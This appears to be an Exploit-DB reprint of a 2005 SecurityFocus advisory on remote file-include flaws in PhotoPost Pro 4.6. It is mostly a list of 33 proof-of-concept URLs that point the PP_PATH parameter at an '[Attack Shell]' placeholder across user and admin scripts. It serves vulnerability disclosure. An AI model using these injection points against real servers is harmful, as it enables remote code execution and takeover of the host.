PhotoPost Pro Multiple Remote File-Include Vulnerabilities

vendor:

PhotoPost Pro

by:

SecurityFocus

7.5

CVSS

HIGH

Remote File-Include Vulnerabilities

CWE

Product Name: PhotoPost Pro

Affected Version From: 4.6

Affected Version To: 4.6

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

PhotoPost Pro Multiple Remote File-Include Vulnerabilities

PhotoPost Pro is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. The vulnerable URLs are listed in the text.

Mitigation:

Input validation should be used to ensure that user-supplied data is properly sanitized.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/20028/info

PhotoPost Pro is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

PhotoPost Pro 4.6 and prior versions are vulnerable; other versions may also be affected.

http://www.example.com/[path]/addfav.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-admlog.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-approve.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-backup.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-cats.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-cinc.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-db.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-editcfg.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-inc.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-index.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-modcom.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-move.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-options.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-order.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]//adm-pa.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-photo.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-purge.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-style.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-templ.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-userg.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-users.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/bulkupload.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/cookies.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/comments.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/ecard.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/editphoto.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/register.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/showgallery.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/showmembers.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/useralbums.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/uploadphoto.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/search.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-menu.php?PP_PATH=[Attack Shell]?